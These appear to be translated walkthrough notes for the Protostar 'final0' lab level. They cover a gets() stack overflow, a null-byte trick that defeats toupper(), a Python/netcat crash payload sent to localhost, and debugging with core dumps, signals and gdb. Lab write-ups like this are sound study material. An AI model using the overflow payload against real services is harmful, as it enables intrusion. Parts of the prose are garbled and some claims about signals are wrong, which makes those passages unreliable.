0x29.
29. Linux signals and core dumps - bin.0x1C
: The "final" level is more developed and is at a very easy "pwnable" level.
: Let's look at "final0".
-> Network settings are essentially the same as previous video, so you should become familiar with these user-defined features.
-> Therefore, the client calls this function when it connects to this service running on port 2995.
-> "get_username()" This function has a local 512 byte large buffer and is overwritten with "0".
-> "gets()" is then used to read data from the user to the buffer.
-> As we have learned from many episodes, "gets" is a dangerous function.
-> This part is clearly a buffer overflow.
-> Then make sure that there is "\n" or "\r" and, if so, overwrite it with a new line-up.
-> After that is a loop, which will go over the buffer and call toupper on every character.
-> The function is then returned.
-> This means that the function's return pointer should be overwritten and redirectable.
: There is only one problem here.
-> This means that the data to be used for overflow is converted to capital letters.
-> This means the address used to overwrite the shell code and command pointer.
-> No stack changes are required when using "tupper".
-> That is, lowercase "ASCII" characters cannot be used.
-> ‘abCD’ -> ‘ABCD’
: C Code(/opt/protostar/bin/final0)
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r'); # “abc\rde” -> “ABC\0de”
if(q) *q = 0;
/* Convert to lower case */ # string are null terminated
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]); # ‘a’ -> ‘A’
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
: So, is there a way to overcome the limitations?
: Let's think about this and work backwards.
-> Therefore, in order for "tupper" to be used in our input, certain conditions must be true.
-> The "for" loop uses "strlen" to determine how many bytes to process.
-> "strlen" calculates all bytes until the "null" byte is found.
-> Therefore, it would be fine if we got a "null" byte before the actual overflow and shell code.
: How can I get a "null byte"?
-> man gets
DESCRIPTION
fgetc() reads the next character from stream and returns it as an unsigned char cast to an int, or EOF on end of file
or error.
getc() is equivalent to fgetc() except that it may be implemented as a macro which evaluates stream more than once.
getchar() is equivalent to getc(stdin).
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it
replaces with '\0'. No check for buffer overrun is performed (see BUGS below).
-> "gets()" reads everything from opening to "EOF".
-> In other words, "gets" has no problem reading "null byte."
-> Therefore, capital letters can be completely ignored.
-> The above may abuse the "null byte" replacement.
-> Suppose the "\r" input uses "strcpy" and thus stops you at bytes.
-> For example, "abc\rde" is replaced by "\r" as "ABC\0de".(”\r” -> “\0”)
-> Therefore, it works.
: Make simple by using this as evidence the 512 byte buffer size.
-> Python can be used in conjunction with "-c" to write short scripts directly on the argument.
-> So we can print out the 510 lowercase letter "a" and see the changes later.
-> python -c 'print "a"*510' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk
-> You can then add the byte and continue to use the normal alphabet to recognize the method.
-> Command pointer to overflow.
-> You can also make the alphabet lowercase so that it doesn't turn into capital letters.
-> nc 127.0.0.1 2995
hello test
No such user HELLO TEST
-> As with previous networking issues, "netcat" allows you to connect to services on port 2995.
-> Therefore, the output of Python "one-liner" can also be piped to "netcat".
-> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
-> The "No search user..." output is not displayed as before.
-> And the code shows that it will be output after returning to "main."
-> The program was interrupted by overwriting the command pointer.
: But how do you debug this now?
-> A look at the description of the "prostar VM" shows the headline here.
-> Core files
-> The file name pattern is set to "/tmp/" something.
-> This means that core dumps are stored in "tmp".
-> ls -al /tmp
total 144
drwxrwxrwt 2 root root 340 Nov 1 16:59 .
drwxr-xr-x 27 root root 200 Oct 31 08:56 ..
-rw-r--r-- 1 user user 19 Nov 1 09:09 A
-rw-r--r-- 1 user user 105 Oct 31 14:04 alphbet
-rw-r--r-- 1 user user 37 Nov 1 08:27 B
-rw-r--r-- 1 user user 108 Nov 1 09:09 C
-rw------- 1 root root 294912 Nov 1 16:52 core.11.final0.7694
-rw-r--r-- 1 user user 513 Oct 31 22:58 exp
-rw-r--r-- 1 user user 323 Oct 31 16:01 exploit.py
-rw-r--r-- 1 user user 307 Oct 31 22:58 exp.py
-rw-r--r-- 1 user user 267 Nov 1 15:20 net1.py
-rw-r--r-- 1 user user 360 Nov 1 15:51 net2.py
-rw-r--r-- 1 user user 189 Oct 31 16:54 stack6
-rw-r--r-- 1 user user 266 Oct 31 18:06 stack6.py
-rw-r--r-- 1 user user 170 Oct 31 12:47 stack.py
-rwxr-xr-x 1 user user 4503 Oct 31 17:44 sys
-rw-r--r-- 1 user user 56 Oct 31 17:44 sys.c
-> They belong to the root, so you can switch to the root to work.
: But what is the core file?
-> man core
DESCRIPTION
The default action of certain signals is to cause a process to ter‐
minate and produce a core dump file, a disk file containing an
image of the process's memory at the time of termination. This
image can be used in a debugger (e.g., gdb(1)) to inspect the state
of the program at the time that it terminated. A list of the sig‐
nals which cause a process to dump core can be found in signal(7).
-> The default behavior of a particular signal ends the process and ends the core dump file, the disk file containing the process memory image at the time.
-> Memory is memory status when crashed into a buffer overflow for a lot of you when I get some information.
-> This image can be used for debuggers (ex. gdb(1) to check the status of the program.)
-> In other words, we can see these using "gdb".
-> A list of signals for which the process dumps the core can be found in "signal(7)”.
-> You must have received a signal because the process generated a core file.
-> To understand this correctly, let's understand what the signal is.
-> Check the "7" in parentheses after the signal. It is very important to refer to the correct page.
-> man 7 signal
Standard Signals
Linux supports the standard signals listed below. Several signal
numbers are architecture-dependent, as indicated in the "Value"
column.
-> Let's take a closer look at the standard signals.
-> "linux" supports the standard signals listed below.
-> As shown in the "value" column, the different signal numbers vary depending on the architecture.
-> Thus, a "intel," "amd," or "spac" processor can make a difference.
-> This indicates that signals may be related to very low levels of "CPU" and hardware.
-> I will look at the list of signals.
-> Signal Value Action Comment
──────────────────────────────────────────────────────────────────────
SIGHUP 1 Term Hangup detected on controlling terminal
or death of controlling process
SIGINT 2 Term Interrupt from keyboard
SIGQUIT 3 Core Quit from keyboard
SIGILL 4 Core Illegal Instruction
SIGABRT 6 Core Abort signal from abort(3)
SIGFPE 8 Core Floating point exception
SIGKILL 9 Term Kill signal
SIGSEGV 11 Core Invalid memory reference
SIGPIPE 13 Term Broken pipe: write to pipe with no
readers
SIGALRM 14 Term Timer signal from alarm(2)
SIGTERM 15 Term Termination signal
SIGUSR1 30,10,16 Term User-defined signal 1
SIGUSR2 31,12,17 Term User-defined signal 2
SIGCHLD 20,17,18 Ign Child stopped or terminated
SIGCONT 19,18,25 Cont Continue if stopped
SIGSTOP 17,19,23 Stop Stop process
SIGTSTP 18,20,24 Stop Stop typed at tty
SIGTTIN 21,21,26 Stop tty input for background process
SIGTTOU 22,22,27 Stop tty output for background process
The signals SIGKILL and SIGSTOP cannot be caught, blocked, or ignored.
-> For example, "SIGINT" is a signal that has been used several times.
-> cat
^C # Ctrl+C
-> In the case of a keyboard, it occurs when "control+C" is pressed.
-> Or when you jump into an invalid code, remember how you sometimes get illegal instructions.
-> The signal that is output at that time. It is also this kind of signal.
-> Clearly triggered on "CPU".
-> Or our favorite "syscall", "SIGSEGV", "segfault"
-> Identified in the "illigel" memory reference, such as when jumping to non-existent memory.
-> Or when writing to memory, not to existing memory.Some are caused by low-level hardware when trying to do bad things.
-> This line is interesting, too. The "SIGKILL", and "SIGSTOP" signals are captured, blocked, or ignored.
-> This means that most of these signals can be captured by the process.
-> I have actually experienced this when I run the process in "gdb".
-> gdb cat
-> r
Starting program: /bin/cat
^C # Ctrl+C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
-> If a breakpoint is set and the process is running, you can use "Ctrl+C" to abort.
-> Instead of sending "SIGINT" instead of the process, the signal handler was set up.
-> Therefore, the signal is similar to the process interrupt in the kernel.
-> A kernel that signals the process when certain events, such as memory access, fail, press "Ctrl+C" or exit the process.
-> Unprocessed signals typically terminate the process, but the process may also set the signal.
-> Handler that performs certain actions when receiving these signals.
: So in our case, the "EIP" is overflowed in the stack and the signal is triggered when the function returns a segmentation error.
-> The process is terminated by the kernel without processing.
-> At the same time, a core dump file is created to store the state of the process.
: Now let's use "gdb" to see what happened.
-> As before, the binary is designated as the first argument and the core is added.
-> File as the second argument.
-> su root
Password:(godmode)
-> gdb /opt/protostar/bin/final0 core.11.final0.7694 # path to binary & path to core
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final0...done.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x67666666 in ?? ()
-> When "gdb" opens, a message indicates that the process has been terminated immediately.
-> "signal(11)" and "Segmentation fault"
-> info registers
eax 0x804b008 134524936
ecx 0x0 0
edx 0x3 3
ebx 0x65646464 1701078116
esp 0xbffffc60 0xbffffc60
ebp 0x66656565 0x66656565
esi 0x0 0
edi 0x0 0
eip 0x67666666 0x67666666 # 0x67666666 = “fffg”
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> You can see the value of "eip" by looking at the register.
-> And that's the string we've entered.
-> Examine the stack pointer to explore the stack.
-> You can see that having these core files is very useful.
-> x/32wx $esp-8
0xbffffc58: 0x66656565 0x67666666 0x68676767 0x69686868
0xbffffc68: 0x6a696969 0x6b6a6a6a 0x006b6b6b 0xb7ff1040
0xbffffc78: 0x00000004 0xb7fd7ff4 0x080498b0 0x00000000
0xbffffc88: 0xbffffd08 0xb7eadc76 0x00000001 0xbffffd34
0xbffffc98: 0xbffffd3c 0xb7fe1848 0xbffffcf0 0xffffffff
0xbffffca8: 0xb7ffeff4 0x08048787 0x00000001 0xbffffcf0
0xbffffcb8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffffcc8: 0x00000000 0x00000000 0xbffffd08 0x84e17ce2
-> Now I know which text caused the overflow.
: Another way to debug this further is to use "gdb" to connect to processes that are already running.
-> pidof final0
1658
-> Find process "ID" and call "gdb" using "-p" and "pid".
-> gdb -p `pidof final0`
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Attaching to process 1658
Reading symbols from /opt/protostar/bin/final0...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
64 ../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.
in ../sysdeps/unix/sysv/linux/i386/socket.S
-> c
Continuing.
-> As you can see, the process is currently waiting for the client to connect.
(Python) -> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
-> However, when you send a PoC overflow, "segfault" is not displayed.
-> In this case we should set "follow-fork-mode" to "child" in "gdb".
(GDB) -> set follow-fork-mode child
-> c
Continuing.
(Python) -> python -c 'print "a"*510+"\x00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
(GDB) -> [New process 7962]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 7962]
0x67666666 in ?? ()
-> "segfault" was obtained with a long input.
: Now all preparations are complete to develop the entire exploit.
(GDB) -> info registers
eax 0x804b008 134524936
ecx 0x0 0
edx 0x3 3
ebx 0x65646464 1701078116
esp 0xbffffc60 0xbffffc60
ebp 0x66656565 0x66656565
esi 0x0 0
edi 0x0 0
eip 0x67666666 0x67666666
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
: Exploit Code(Python Code)
python -c 'print "a"*510+"\00"+"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk"' | nc 127.0.0.1 2995
: Tips.
-> core file
gdb /opt/protostar/bin/final0 core.11.final0.1999
-> pidof final0
gdb -p `pidof final0`
set follow-fork-mode child